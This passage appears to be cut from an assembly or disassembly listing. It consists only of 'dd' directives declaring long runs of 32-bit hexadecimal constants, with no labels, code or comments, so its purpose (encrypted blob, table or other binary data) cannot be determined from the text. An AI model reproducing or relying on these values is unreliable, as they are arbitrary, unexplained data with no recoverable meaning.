2C97C461h, 33E955A5h, 110677C0h, 0F38270E8h dd 0F4B18F7Eh, 25C32BC2h, 9B5E63h, 8F147310h, 651ED605h dd 0F56D6FFFh, 0E1ECA995h, 8F04F127h, 0ED9933ACh, 39A369D5h dd 5ED877C7h, 20F111A0h, 0F67E6F5Fh, 9CA88716h, 9B0B7CA6h dd 0A4BA503h, 0D0AE14h, 31839EAEh, 0B3A9B3BEh, 0AAF6C424h dd 5B46127Bh, 0D0646BF6h, 0D664DF50h, 0BC8303Eh, 26C10C74h dd 0B925B98Ch, 0BDE18CCEh, 62CD1BD6h, 2A50571Fh, 0F9D20AF8h dd 68C2D01Eh, 0A2A9B99Bh, 0C4099E26h, 70ABF88Ch, 0CC017ED6h dd 3EFA167Dh, 4F67FC05h, 0D04FAFA2h, 89F9CCFFh, 0B3AE9727h dd 0D7350B0Dh, 97F7669Ah, 9219826Bh, 906BD0E9h, 86DD20B6h dd 63B20037h, 0F2ADB0F3h, 0E5B84AFCh, 0DD195D51h, 1FFDA7F8h dd 89DF686Eh, 35B7125Bh, 0BA2F1BF7h, 0C0B973Bh, 0C96930E3h dd 372872CBh, 0A23C9DFAh, 12D901D2h, 54CE8C98h, 0E6E9E36Ah dd 92CB103Dh, 0F5A53987h, 0ED77F492h, 0A8925785h, 0B707937h dd 576173B5h, 0DDD5CE6Fh, 0F75B61CDh, 548A8670h, 3B15B256h dd 48E9F143h, 574CECD4h, 71E03FC9h, 0FE9FB838h, 0A3FE23CCh dd 0FAC62F1Fh, 0F0C38E22h, 0BE726D28h, 958F2281h, 0B2E469A0h dd 0BEE65B81h, 2150903h, 6D266B02h, 0A705B05Bh, 67501B24h dd 4FA9F47Fh, 0B39DE38h, 0B0A17A36h, 739DA5DCh, 2102E621h dd 0A7AB76E7h, 829E942Ch, 1AB57A39h, 0F787CEDEh, 0E32DCD78h dd 676D193h, 0A691E8D8h, 744991EDh, 0A66300D2h, 0CA2943D1h dd 33C0725Bh, 21E0A951h, 76E610ACh, 0C9BD0E7Bh, 3C25E404h dd 2ABD446Fh, 0A4F643CBh, 69D3AB70h, 0EE576833h, 9116DCF5h dd 3C2E2AEDh, 9A28EC37h, 8C643121h, 0B31EECB3h, 1B232C03h dd 0EB49B08Bh, 321843ECh, 4A0FECF8h, 4027C31Dh, 0BDC3D560h dd 4129E952h, 8FDF63D1h, 799D605Bh, 8DF19DE9h, 0D0F4C930h dd 6EF96865h, 0BB68393Dh, 59CC3711h, 0FE7F405Bh, 0EF5BDC0h dd 0D0EC6F86h, 0AB07FF38h, 3F626BE6h, 5548BB04h, 700E3F5Ch dd 0F81F9F0Bh, 1602F53Bh, 18A57A65h, 60F96618h, 644639E9h dd 3B65ED86h, 0EA20C31Fh, 39C22CE8h, 411B808Fh, 0DCCDCD9Eh dd 8E9BB78h, 0A4CE6D3Eh, 1210020Dh, 52BD7EDCh, 611E5E5Fh dd 48CFF585h, 60CB6A3Fh, 9B288819h, 79E8B9FEh, 0FF102D3Bh dd 66E956A8h, 403B81F9h, 0B02ABA62h, 0F51F6D9Dh, 5893236Dh dd 0E3E7D82Fh, 9FA91DD0h, 9FD557C4h, 42C30E48h, 0E8F520E2h dd 0FB31F37Ch, 63530589h, 0DEE2B840h, 2662FC8h, 0CC0F1152h dd 2777EA77h, 87098E89h, 3152BC93h, 0F8662DAEh, 0A5CE6B11h dd 9922F2D9h, 4AA5D06h, 680C12A6h, 0A7CF0EA0h, 10CC6E64h dd 8A2ED046h, 0E2AB7BB5h, 49E3FBEFh, 599ED310h, 91093211h dd 0ADC5C8B7h, 82716ABDh, 0CACEAED9h, 94A40CD9h, 0F5E8FC1Bh dd 63EAD617h, 0FA7474BBh dd 0D4B39F5Bh, 0AA64161Eh, 1501B2CAh, 0C62C7C54h, 0AE5DF33Bh dd 0DE3E9Bh, 924EA307h, 420A51CAh, 70972C58h, 0EB4DBB7Ah dd 7E21B05Ch, 56F7C049h, 8E66DD57h, 5710BFB1h, 0DE64996Dh dd 0C99A2192h, 7462C9D9h, 49C1EB66h, 2ED3B1Eh, 0FDD29E46h dd 73B22B34h, 29ED82E4h, 8DA71DDh, 0FF6D6160h, 749EAD06h dd 589DED1Fh, 1A7A0844h, 2CB7CCh, 192050BCh, 0F176A2B0h dd 241209C3h, 0E6180F78h, 326751EEh, 4708DCC7h, 4EBBD2ECh dd 8993B9B3h, 668DF132h, 6B38C3FCh, 0E1E37F5Ch, 8AAF79A1h dd 5ACF79ECh, 51F3FF7Bh, 0A0C4ACB4h, 9780ED58h, 4FFE50E4h dd 0DAB080DCh, 41D6D86Ah, 820DA033h, 0FA893C91h, 0F44702F5h dd 0AA2DBD9Ch, 0E817CEC9h, 0B226FCD3h, 2C868E0Fh, 0F9803306h dd 0F03EDC4Bh, 0C3A9FECCh, 73DC6FE0h, 19ED509Dh, 2568CE07h dd 0B1A431E5h, 598519A9h, 0A391D1BFh, 0F1C418BCh, 0A4321A21h dd 6DF120AFh, 0E61043C3h, 0F7447D59h, 99C92175h, 5F4DBEF9h dd 0CD7BC9E2h, 83100438h, 404BE49Ah, 0EFB9452Fh, 48BBD67Eh dd 0CB6ED0D4h, 0D975891Ch, 0D6349B1Ah, 0E2A6D626h, 0C177330Fh dd 998E8EE4h, 77219122h, 658CAEDAh, 0B79BF402h, 0B36FE052h dd 171D5EF2h, 7C58670Ah, 8DB8A13Ah, 4420D55h, 7B3A6BE7h dd 83D3C0A8h, 9E9F3D15h, 0A0CD2958h, 42B91D82h, 0D6498626h dd 22544830h, 996DD942h, 0D1D5E148h, 2CDA7E00h, 0AA58A747h dd 9202E334h, 0ED7672E5h, 0E3CA50C5h, 40FBAD9Fh, 0F219C269h dd 6CEB8BA8h, 88F5DCEh, 42221585h, 2BB3E389h, 91384109h dd 0D6E0DDEDh, 0BD944DD3h, 4572897Bh, 29571D46h, 0A57E93A2h dd 5A21C024h, 0F4547486h, 6C986D87h, 426CFF17h, 4EAA968h dd 0B39A7BEDh, 4DA70D2Ah, 8313AE51h, 4A1AC54Ah, 9E892764h dd 17C6C10Dh, 0A1BCD807h, 842D1F3Ch, 0BA8E866Fh, 0D94D9AAFh dd 0CB82C50h, 72972D96h, 5D0C8474h, 0FDC45FB5h, 23EADA94h dd 3556CE1Ch, 30C423CBh, 930A8624h, 3346217Ch, 2E2F9AC9h dd 0F52AB540h, 38A42F59h, 0A9A77427h, 266EB015h, 0C44E8836h dd 0C9D84BA9h, 428521E8h, 8B583919h, 0FD96FCF1h, 0D903F47Ah dd 7108B66Ah, 5E044308h, 4CB51418h, 735D4DABh, 0BDB87004h dd 0D8FDCE23h, 0E284340Ah, 0B7D32F6h, 0E11542D7h, 1C5C0765h dd 0D5DBCBBDh, 21041C85h, 0F6C01270h, 0F6B583B2h, 0F587CD84h dd 3F1BE6ACh, 2F5054B3h, 0ABBB6644h, 3873CA7Fh, 8CFA4117h dd 5AE44311h, 2A155354h, 78E429E9h, 0E2B29057h, 6EE32C51h dd 0BEB5FBE9h, 6347BFD3h, 30F2A53Fh, 47ACEE07h, 0F7867965h dd 6CE81E81h, 0BBBCB64Dh, 0DDA586C3h, 0B45A5B43h, 0BB460EC6h dd 0F9CF0D62h, 68BEA2CEh, 0CE4C9619h, 0CB6C0F35h, 138A2903h dd 0F02E83E4h, 516D890Bh, 0AA87EB4Bh, 0C5BDB54Fh, 2AD0CF23h dd 6CC6F807h, 7886E756h, 0C7B744D3h, 0A7467F5Ah, 6B6CFB13h dd 0FA52DC4Dh, 45E83751h, 349E5ECEh, 0E4452337h, 0BC72C710h dd 33508D5Dh, 732A1EDEh, 77AF8811h, 0CD87F784h, 317FD370h dd 1EF7DC3h, 1F571F21h, 0FBA49544h, 7017DF62h, 6CA732Ah dd 6B6D91C3h, 27A18FC5h, 9A4BDB40h, 24A7E863h, 0AB077E24h dd 0DFFED1Bh, 0A1C3CD17h, 0E9B4221h, 1597821Ah, 0E6F032A9h dd 90ED535h, 54122D8h, 0F82D9C8h, 0AA111549h, 68D5CB61h dd 0D025B778h, 8A6E4D7Fh, 0B7E274A4h, 19E4CB06h, 98A64C7Bh dd 0E286513h, 0E6B3F1F4h, 614EE2BBh, 3E8E174Bh, 1FE78D87h dd 8AB3397Bh, 9D59BB12h, 61C9D8CAh, 0D5257F63h, 0FEAB32D2h dd 0DD6DFAB4h, 5C0CA12Dh, 0D74BF25Dh, 0CC1814A4h, 2C49BA63h dd 68985A50h, 0DCF4E336h, 0D05D8EC9h, 0D816439Ah, 5AF95DE9h dd 0DF84C7AAh, 34AAC7CEh, 1CA0DECFh, 0F34F7E1Bh, 0E90CF9A3h dd 4AB62B0h, 0D571A1B7h, 0D5425834h, 0F5FAE345h, 92EEB7E8h dd 0F201EEAAh, 0B3134918h, 0BC7F4814h, 0B083C219h, 3973B726h dd 5678331Ah, 71A3061h, 9485773h, 8507A478h, 9006BD36h dd 927FB5B8h, 2922108h, 0AFF14FB4h, 8896308h, 737A231Eh dd 17E39B67h, 0AD2CB5CFh, 0F65FDE22h, 0AF33F9E7h, 14F961D1h dd 5922AD6Ch, 17814CD7h, 7BE9D434h, 9A413760h, 91529EC1h dd 96229483h, 7CAD718Ch, 0BE7DFDEDh, 32C0A11Ah, 332B4CCEh dd 82A6BE82h, 50993E63h, 0E929A561h, 0DA4C6F25h, 0FAE49B57h dd 3FF2C57Dh, 8D7D8CFFh, 0B028028Ch, 0D8645FEFh, 8F1CA0EFh dd 4EC562E5h, 8AA14522h, 0D3D4E3FCh, 676B075Bh, 0F7AD2DAh dd 87AA6CFAh, 660DD452h, 589F272Bh, 2C787114h, 2022E1B2h dd 5421560h, 0BB6E145Dh, 2644E4E2h, 8E3C4BFFh, 0C5B5E258h dd 2248FD2Bh, 860CE2D6h, 7439D568h, 5C71DB1Dh, 9E7E8965h dd 947A9CA6h, 0B6E82CD0h, 25B052A7h, 0CC5196BCh, 39E3D965h dd 4E5D268h, 7FDD3C34h, 0CA2867FCh, 0FF2D73F4h, 39E1F50Eh dd 0B27A4557h, 0FF11290Eh, 15DDC53Eh, 0A49E2F50h, 0E0D79B38h dd 72B6A80h, 0ADF5C4C6h, 0E57CADD3h, 16E34CFEh, 61228310h dd 42B1D782h, 0CA4F3EA4h, 67A3A515h, 5D548B67h, 6FB13098h dd 1E9BB4BBh, 21745E70h, 2B8B144Bh, 2D48D73Ah, 0E46E4280h dd 2489904Ah, 6DACAF9Dh, 222E5D00h, 0F7E2F7h, 9753B2C6h dd 0C3D44CBBh, 23241BAh, 24C393Ah, 9372A5CEh, 0FC168F9Fh dd 0A7A0F57Bh, 468B28F0h, 4DF17957h, 0BCBB16DBh, 0E6B63118h dd 85E0751Dh, 4EEDD41Dh, 0FF07D231h, 96896581h, 0D7C590A2h dd 2EDEC1FDh, 153A1D1Eh, 0BC326889h, 130DCEBCh, 0F552E465h dd 2B8F3B32h, 147DAA6Ah, 0CA5B559Ch, 8EB781B1h, 0A95EE96Ah dd 78EB6D2Fh, 0DCC6DE89h, 838EEE1Ah, 0ED7824E0h, 0BA64147h dd 95196547h, 0A714093Ch, 0EB712585h, 0C1B255B6h, 83A81855h dd 0E0609E20h, 0B5C6705h, 706E33AFh, 2CBFA992h, 44684B3Ah dd 0EF298E1Dh, 0F97D5335h, 0E084152Fh, 567A93ACh, 21E8B3DAh dd 0D0355406h, 8E70E606h, 848D8781h, 1CA4497h, 0BEE21391h dd 48F8531Dh, 0E82822B8h, 94E0F81Ah, 4A3B14BEh, 7FCEFBFAh dd 125DA5B0h, 4C4EB8EDh, 46089244h, 3FCE9E1h, 0B8565A2Bh dd 40D589D8h, 360C29BBh, 827C6B86h, 0FC9B623Bh, 7BF05E0Eh dd 7F164AB4h, 0F70C286Dh, 0D0BB94A4h, 209B74CBh, 0CBA8B82Eh dd 0F3F73C6h, 0D487DE74h, 1BB80D92h, 7DF5A009h, 0A4C60D2Eh dd 0B7F88B7Ah, 63E06E81h, 544943D3h, 3631EB8Bh, 0DF448FFBh dd 73E8E4F7h, 4C71A251h, 3B87009h, 0D0AEE18Bh, 51D83C84h dd 0F1245EEBh, 0A3BCAB40h, 20D809ACh, 8562916Dh, 42F927D2h dd 94F0E8C2h, 7623DFCDh, 0A169334Ah, 666EFFB1h, 134C43F4h dd 0A5A547ACh, 2784358Eh, 0D12C3121h, 7EBFC67Fh, 692051F4h dd 0CA044E1Bh, 261AD739h, 0BE5312C4h, 76D26F6Eh, 9EBBCC95h dd 3BFDCDCEh, 1E410426h, 7338B910h, 6F18BFB5h, 0C36CB68Ch dd 0AA0EBE7Ch, 72EA90FDh, 2EA2A2A3h, 7C83446Bh, 4EC2A87Ah dd 0A1A39C8Fh, 73C4D60Bh, 0DE2EC534h, 295D4B8Dh, 0E8263557h dd 7B347670h, 806D28D5h, 7C3575DDh, 20674431h, 88B23D5Ah dd 0C0722E3Dh, 327460D9h, 5F76DC86h, 6D56B425h, 59128234h dd 0EEC6F060h, 3C558BAEh, 667BCDEBh, 73A88579h, 0C92BD2CDh dd 7D0B38EFh, 3DB39D63h, 0AA02C8CCh, 9C621FB8h, 5556CACEh dd 130B108Ah, 0CE057140h, 701ED4DBh, 0A347E9AFh, 0BE52223Dh dd 0DDA34E48h, 0B1A7FE49h, 68EA6E74h, 0F7C79723h, 62D7BCC6h dd 0C585412Eh, 5FA855DCh dd 33F07A75h, 7897011Dh, 0EB59423Bh, 0C52FB4D0h, 73DA630Dh dd 0EBBE5496h, 48A96219h, 2675CE5Eh, 24998ED8h, 0C1A0A9D8h dd 643DD99Bh, 0B8767726h, 613ABF13h, 3EB89D7Bh, 95708521h dd 0FC96A213h, 0C2705CDBh, 1CAE6999h, 6453E113h, 0B681C95Dh dd 725AD04Dh, 0D7AD6F27h, 0B1B7300Eh, 5B3C64D0h, 0D2FBE1A4h dd 0D2F66F79h, 22128301h, 201A72F1h, 0A02248AEh, 0A103F479h dd 0C8DFEC6Eh, 0EDD75222h, 6A36CCA5h, 587FEA4Bh, 46CD168Bh dd 618FDD03h, 372A92E8h, 31944D7Eh, 40DBB971h, 3D1C5D05h dd 0DD1ECAD1h, 31B5A357h, 0D230D2Ch, 7AEE2AAAh, 385F7C32h dd 20D81E65h, 429A6241h, 0B963FE64h, 3B4B1A6Ch, 0D2E46BBEh dd 3530552Bh, 0D4A560FBh, 83E3069Ch, 78DD9D91h, 0D54C38A3h dd 83E98B03h, 0A90ABAEAh, 904BA382h, 819CEA4Ch, 22070CF6h dd 0AD1DFD18h, 8CDC2048h, 8320D552h, 7E8E57FEh, 2DB3140h dd 443081DAh, 764E09F2h, 269FB47Dh, 0E631CFB9h, 22FB9FD1h dd 5C7CD536h, 16A9BA7Ch, 163E0959h, 8D3651EEh, 48971E72h dd 5BD3A679h, 8C018A76h, 0E3750155h, 228E80C8h, 941AF7D4h dd 0F418EC58h, 0EDCB8598h, 0F66654AAh, 1D5D730Eh, 0A42C6488h dd 39D2C7BFh, 5B29B85Ch, 0C00A3AF9h, 0F19C08Ch, 0AC3EBA53h dd 26865C97h, 0E0B06A9h, 0AC229CA2h, 87850555h, 0FE7AC3DCh dd 0A8C9586Ah, 0B2B01B84h, 9350537Dh, 0DDFCB18Ch, 2287F8ABh dd 0F6860C2Ch, 0D8526749h, 0A96EA5E2h, 6BE37E33h, 0DEBCD731h dd 3B4F1EFFh, 0F43F2E99h, 0EC1F6A81h, 353D40C5h, 0CBBEBCADh dd 0A6F6456Ch, 42B83926h, 6B1C1FF2h, 9F4E3BCh, 0D65A019Dh dd 7E6AF03Bh, 0E00AA196h, 0A2921B19h, 812BDBC1h, 3F4D3413h dd 31EBB9C7h, 3E21F0E1h, 9B67FA60h, 0E6D2A006h, 0CCD882BFh dd 0EDC75601h, 0E8EC5228h, 892B0294h, 65D83E5h, 77DA0ABFh dd 0E6033AA3h, 954FE207h, 12908A99h, 0EE66D7FBh, 0CBD728EDh dd 49EEA5B0h, 426A4FA8h, 0E67818F3h, 0D1E8819Fh, 696EF30Ah dd 44B98BDFh, 6486FDEBh, 3CC09369h, 206024B3h, 0AAE01823h dd 0F4F04019h, 0A9F084A6h, 59B6BAA4h, 0E263F6D9h, 0DB8544FCh dd 0F2AB4457h, 0AAECE68Bh, 0FECDCBF7h, 94BE027h, 0E3B1F200h dd 2F235789h, 0E4718A79h, 409DB7F4h, 51D9B906h, 6F567B6Ah dd 0CA004489h, 0A8C35BCDh, 8AC3FA55h, 9231E40h, 0B8B7899Fh dd 7252098Dh, 4D010A63h, 0FD0EB87Fh, 442CBE0Bh, 834D7902h dd 0FAD4777Ch, 5793641Ch, 0E1693933h, 0D11920C9h, 0ADF590F8h dd 7ADAA38h, 38D45DC7h, 0CB5D188Fh, 0D972CE74h, 0E6337E32h dd 8D68F9E9h, 0A49D3222h, 392534E6h, 73F7DDA6h, 0B3AAC284h dd 968BB027h, 0F3A30331h, 390E8F9h, 20F6CD83h, 3E4F3044h dd 0BB20BCEDh, 0AA3B69BEh, 49462915h, 45AA006Eh, 4CDEF780h dd 0A4701457h, 0CAE6FC5Dh, 24D02FDAh, 0A365A6B5h, 38CAE019h dd 9B5A90FCh, 0D8081A5Dh, 0CFEFD60Ah, 0D01DD3A7h, 3CB5075Ch dd 0AF5EF627h, 90959722h, 87B554E4h, 437688B5h, 60BB4044h dd 0FB1F379h, 0E9338C4h, 0B4AB2CFEh, 2F653501h, 484BCB01h dd 6EB29634h, 0FFC0732Ah, 0F856CE32h, 7D7B81FBh, 4FBB0EAAh dd 3AF3F3ABh, 0ABC2427Ch, 0F19E4936h, 0A91CFBA7h, 14E8013Ah dd 3DCA407Ah, 7C2FE190h, 64FC7F39h, 0D07AADCEh, 99B9002Dh dd 135DED84h, 48E878B7h, 0BB567884h, 5EE41612h, 20697A7Ah dd 31B112B6h, 785AEE19h, 0A44BF5FFh, 0B3B46443h, 67D4E050h dd 0BA01A143h, 52AE8D7Ch, 97AD35B3h, 14CE8FB1h, 7DA17202h dd 9AE7CD8Ch, 56335F88h, 0D4087E3h, 0F7593AB3h, 97A93E1Bh dd 5A717B93h, 1E9EA6FFh, 0BECD5590h, 0B0750FA9h, 4875454h dd 3F43E423h, 29F39DAEh, 0A9795DA1h, 6C39BA5Ah, 8C17D395h dd 0B8315F08h, 2D82F317h, 0DEB33017h, 0F8666B53h, 6EEEA995h dd 847EA8EAh, 81124EAEh, 5DF36045h, 0DFA5491Ch, 2C0B960Fh dd 9F4BB3FCh, 0F01CA361h, 0AC0016ADh, 95FAF32Dh, 6BC45B6Dh dd 6767854Ch, 0D0463FF9h, 0CFBD1ADEh, 0A1B6E97h, 6D78B547h dd 0C6921089h, 0D5D018D3h, 3E6DE662h, 8C77FB40h, 0A2DD373Dh dd 0A82A34C7h, 0D067E29Bh, 0CCC0788Dh, 493A8B1Ch, 32D3C71Ch dd 0ACBF7A3Ah, 692BAF7h, 9BB96B8h, 97324A4h, 0D4CACBB2h dd 0D48897EBh, 17118776h, 0F8BFB386h, 5979069Eh, 70A87398h dd 0A0A2C58Eh, 0D0169573h, 0EA2A6D2Ch, 255407EBh, 0B06988CDh dd 0C752A7EAh, 0E2323550h, 4428C12Ch, 0C976FD00h, 9510C02Dh dd 0EAEBAFE0h, 0AE161084h, 8FD6BA23h, 28F64E57h, 13767EA9h dd 4894CBEDh, 1A87FC9Ah, 511D0F95h, 2D729550h, 17E42DD2h dd 31058358h, 0DD61AC6Ah, 85CD6E56h, 4D4381FEh, 9879C8Fh dd 714BB757h, 0FB2B0B24h, 211D6786h, 347DB289h, 3A14DC8Eh dd 138CC048h, 1183C64Ah, 70829A8Bh, 40F2F9C6h, 0C65EBABBh dd 0C8D3725Fh, 0CF057A98h, 17D5178h, 6546BB46h, 0F7C80F6Dh dd 0EA2946D5h, 6E67C6C3h, 0E18FA324h, 202C1755h, 0D3E0D839h dd 0EF01743Eh, 0B97ED18Eh, 0B518ABB8h, 3AC30961h, 0B72EC9F5h dd 0C8C2E2B2h, 0B7580746h, 9C6CFF43h, 1BD486BBh, 0E4D71F96h dd 5AA402A3h, 19625563h, 9F94A1BAh, 8C0EF83Dh, 318B9A68h dd 15DB3164h, 9FED2CCAh, 1B95175Ah, 9B7A3D35h, 0E628868Ah dd 0F1B5A96Eh, 5ED1611Eh, 391AD952h, 0F0A23F75h, 7F6E3853h dd 0EBD5FCC8h, 8B9E8976h, 7D11F2A6h, 0A3C905DAh, 1BA7A902h dd 865107FCh, 800ABF47h, 93553F7Dh, 0D532B97Eh, 0CEC2A470h dd 71B3C120h, 0D1EDB053h, 6BD18FD7h, 0B2FEA6CBh, 126C1935h dd 15EBD5C9h, 5530F63Dh, 0DA00876h, 26B65DAEh, 179254ADh dd 3BE93ABFh, 7B274F84h, 2A9BC0CCh, 26D0C265h, 25355102h dd 60FDFF6Dh, 503F8F97h, 7E31C821h, 0B0849C35h, 4766454Eh dd 0A9C5EB33h, 4DECD0C9h, 2F9DC391h, 259AF568h, 6A8BF6D5h dd 1F7328BEh, 0D39D17B7h, 6393E41Ah, 28ADD057h, 2CFC43EEh dd 41D93C01h, 0D893098Eh, 5F5CC9FCh, 4C68A8B2h, 0E4BE187Dh dd 9504CCEAh, 0DF08A27h, 3E045363h, 0D8A8D7FFh, 4E97E9A3h dd 6C046272h, 78E80510h, 0BE3C1CFFh, 570F0373h, 553ABCA5h dd 9593FE45h, 0B7FB11DDh, 0C0649A8Fh, 8E2D8E6Ah, 0D1A474F7h dd 320CEE05h, 362E5487h, 0F5FF8C66h, 0BFB8DED2h, 33306EFDh dd 0AACEEAA4h, 6B95BEF1h, 54A0976h, 7A3D3F7Bh, 511CE226h dd 0B1F13E37h, 36416A90h, 0C4C2788Ah, 17047BA0h, 7C39642Bh dd 8DF678C0h, 5DCBBBA9h, 0B2B02395h, 55481A42h, 361D6CF2h dd 0CF2AFC07h, 303F7E8Ch, 14B9CBCAh, 75875D8Bh, 499C2BB5h dd 42548BA5h, 5122CF73h, 6069C32Ch, 0BD0C4959h, 0B0BB18A6h dd 0AD49D739h, 0E4DB51B7h, 11F8BF71h, 4BA18125h, 0C535BB38h dd 4F4B31EDh, 2CD7562Eh, 254E01EDh, 1E10B4EEh, 7BD73250h dd 0D5EABEB8h, 0B0EFD720h, 0F181F14Dh, 3CBFB291h, 0FCFCBD63h dd 0E344DE5Eh, 70897473h, 15EA917Ah, 2A20955Fh, 30EA7A40h dd 5200A19Eh, 0CD11E01Eh, 0B5888328h, 17851B83h, 44A19D5h dd 717236EFh, 62444979h, 309AFF78h, 67E719F8h, 28F632E2h dd 7A0265BAh, 24CBAFDCh, 0DA4161D1h, 9FD10D9Dh, 7A2A26D0h dd 0AD7DF9C2h, 2AE729EEh, 761F5395h, 0BD91D152h, 33692432h dd 0C541BF0h, 713AA50h, 0B031281Fh, 4DACAFEBh, 0ED7F4897h dd 0D75FCC7h, 218ACAEBh, 55A1F557h, 41D56143h, 0B5E4908h dd 15B32663h, 651A1AEFh dd 3245413Dh, 0FBE25EB3h, 4A479794h, 0DC37C486h, 0FAB81F0Eh dd 0C2E339C6h, 49083155h, 3102F930h, 348FE9A6h, 321B55E9h dd 0FA2DBCD1h, 2B768BA7h, 0B9FD6BFAh, 780AC59Ah, 34E71BDh dd 0BDCFF8AFh, 1462968h, 419FF091h, 7676AA9h, 51F85E27h dd 0ADE5BF4Fh, 0BE3E5165h, 6EB560BEh, 5EC687E2h, 0DBA12F20h dd 33333472h, 0C0FF5655h, 939CCB76h, 0CE39AEB1h, 0D4EBEFC9h dd 2F88E0Ah, 0D9DD7986h, 5EAE0220h, 0A75C0D76h, 78B46F5Bh dd 0F64A00ADh, 7D2C4365h, 0DBFE4055h, 676C5339h, 8AB37144h dd 36EC4D08h, 11625428h, 0CA60526Bh, 37E18E8Dh, 6B97BC7Eh dd 0FD9F33D9h, 7C50B5C8h, 6A975784h, 53ABF7D5h, 0C8A463AAh dd 0E604D9B4h, 6B2B83E8h, 0BD3AFAD3h, 26387DB4h, 0EE050E02h dd 0AEA75EEEh, 43CF3CBEh, 4037AC5h, 0AF62E3BDh, 66F84F2Dh dd 0EEC61845h, 2D052117h, 51D513C2h, 0EB91495Fh, 266CAFDFh dd 0CC044082h, 6B978C37h, 183DB7C9h, 7A7662C8h, 205B4B77h dd 0F55E3BAAh, 50F58321h, 0BFFBA414h, 80349C02h, 0FE983261h dd 55B92043h, 7C818BF8h, 8F951F15h, 1D743F99h, 7E070A43h dd 7FC90A84h, 7456FAF3h, 7DFFC053h, 63EEED7Fh, 0C469554Eh dd 0B3A0EC46h, 0A445AE2Dh, 0D548EB55h, 915E999Bh, 6465870Ah dd 264CEAC1h, 34ACA6B1h, 7F015F66h, 5EBC7AEFh, 9047DF71h dd 6E250D79h, 53759E21h, 0DCD75011h, 0E6B33110h, 1047FE1Ch dd 1E81B649h, 0A4753E4Eh, 0C9C10797h, 24DEEA03h, 0FB4169A6h dd 8CC336BBh, 7B3AC8AFh, 0F550ED14h, 0CF2F1587h, 0F75A90E5h dd 84D99170h, 0CA343B86h, 0E040E159h, 17228C79h, 49D62CE7h dd 0AF1C894Fh, 38B6CF4Fh, 438074CAh, 0BCF12121h, 536C49D5h dd 0B0CAE051h, 0DFB1FB0Fh, 5FC1179Fh, 0D92E5939h, 0BFFF0E9Dh dd 9B0B3B62h, 5C9D5298h, 193530DFh, 0A349BABBh, 97CA401Fh dd 7AF10BD8h, 0F974747Ch, 3B695BC3h, 672208Bh, 7E137161h dd 8B16FADBh, 0ABF7F638h, 0BB6A4DCFh, 0B14EBBEAh, 456222F1h dd 31479F1Ah, 3DDD3151h, 0D61CC376h, 0AC364FB4h, 1D064F16h dd 363DD954h, 0C89DAB18h, 0F9A28D40h, 0F446AC49h, 0DF8E45F7h dd 2289E798h, 76697251h, 35F737F8h, 0FA3F2D59h, 2E1F55BBh dd 6B1DC412h, 0B97E6493h, 3E37078Dh, 0F5F71BBCh, 227FEEDFh dd 79A7E16Bh, 9A3B0288h, 4F1A194h, 5FD80D56h, 0D9FCCA88h dd 0EE3442BFh, 0F97D9790h, 2C630876h, 91977104h, 0FF7742Dh dd 7786D999h, 8CE57771h, 15CAC7Ch, 0A7401BA5h, 0CB292BD9h dd 16932F15h, 4A59E155h, 3E400BA5h, 85870D79h, 746342DBh dd 13039B1Dh, 0F31C7C64h, 6997ECADh, 0F19BD3BCh, 7636A757h dd 0D4619DB8h, 4B53DB31h, 30EAC3F1h, 0D597EC21h, 4333D83Fh dd 0DF411246h, 341306A1h, 8288D749h, 1F1108CBh, 0B16CCBBh dd 0BF2E308Fh, 92517A8Eh, 0C500FDF5h, 4BB5F51Bh, 0A7A060Ch dd 0BEF81886h, 0B0720B30h, 9947115Ah, 3A772A65h, 88226C9Ah dd 0C8445902h, 733952A7h, 8681D6F4h, 4884DEEh, 7FF302BBh dd 7B9784DAh, 0BA40E68Ah, 2EA848AAh, 40E29E10h, 0ADDB1597h dd 820C85A3h, 4CD0B099h, 0E97844B7h, 66BBD70Eh, 312CDDCAh dd 0E2396B36h, 9B58626Eh, 0B0E5E478h, 0D162F514h, 59EE6C7Ch dd 642B67E5h, 764640E6h, 79D73D19h, 6892599Fh, 412C35Fh dd 0C4A373ECh, 0F3199E29h, 0D0F909DAh, 86076081h, 875954A0h dd 63EE66FFh, 95914D8Ah, 8D4DBAF6h, 2541360Ch, 0B65E125Fh dd 51808742h, 0BE6FA932h, 0C6FE62BDh, 0EDAD1233h, 0D86B242h dd 84824378h, 0BD58D4CEh, 0FCAEDACh, 7CB007Eh, 30FF468Eh dd 53161860h, 432CE14h, 6BF96E15h, 0E3B81DBCh, 0B1A45A1Fh dd 69E67BB5h, 0F6782FDDh, 84CA21EBh, 0DF915957h, 82D519C3h dd 5E26F9C0h, 13B05174h, 937DC00h, 0F51401BFh, 0C8C66479h dd 3A9E2B7Dh, 0F6FD965h, 0F213BBF1h, 8E10B7EEh, 0AD91D8A7h dd 7434FF53h, 672D8224h, 35F17404h, 7A152ED0h, 0C28DFEB7h dd 0D364DE4Ch, 9B1B2A9Ah, 6C6B5BDCh, 0BE4CC6B5h, 773FCFA8h dd 701E3F42h, 5C6616A2h, 0FE7F683Bh, 0FEDE5E6h, 2127B131h dd 2406B308h, 285C08F2h, 0E8A2B40h, 0BCAAE803h, 31879329h dd 0F50133BEh, 0C592BD9Dh, 0A1DC0585h, 31826FA0h, 1E43436Bh dd 57C56BBEh, 3A7C209Dh, 0C37C86EFh, 12F18350h, 6DAD6758h dd 70910124h, 0A68EE84h, 7DA4CA1Dh, 2141C498h, 202A4ABCh dd 0DE76FFDFh, 50225118h, 9A64D771h, 2D9DB6CAh, 2AF24072h dd 0F66D446Bh, 0F3595E7Dh, 0E9ABE202h, 69006AA2h, 0BCB0CAECh dd 0D14215EEh, 6A331F9Fh, 9CD96AB1h, 0B8C43670h, 752616F7h dd 25A5E61Ah, 97147966h, 296F5B65h, 8D2D7BD8h, 0BB89DC44h dd 0BC45B9CBh, 2E3D931Dh, 642B6798h, 0DCBFEF68h, 0D18D1AD4h dd 0F4709E0Eh, 975F7921h, 0AFC8BD58h, 728F7D7Eh, 1CAAA095h dd 53B55B71h, 3E9B05FCh, 0BF787A3Ah, 144D5D3Dh, 81418AACh dd 0F1C7DC88h, 4CC350F8h, 515819F3h, 2BC7C1FBh, 9595450Eh dd 37541CE6h, 0C6E7DAC1h, 0AE42C9C6h, 0CAC3E1FAh, 9B9332A9h dd 0D98F98A8h, 0C4E1B7E2h, 7B0C8866h, 3729764Ah, 0C29D5C6Dh dd 34FC72A0h, 0DAD1E39Ch, 0EA5C0CDAh, 24706796h, 0B0A1A636h dd 0F5CBDD9Dh, 0EDCB9954h, 0EFFF9944h, 0A8F38C94h, 8E84CF2h dd 0BBB204E4h, 0BD15B78Ah, 0FEBF382Ah, 66F9D21Eh, 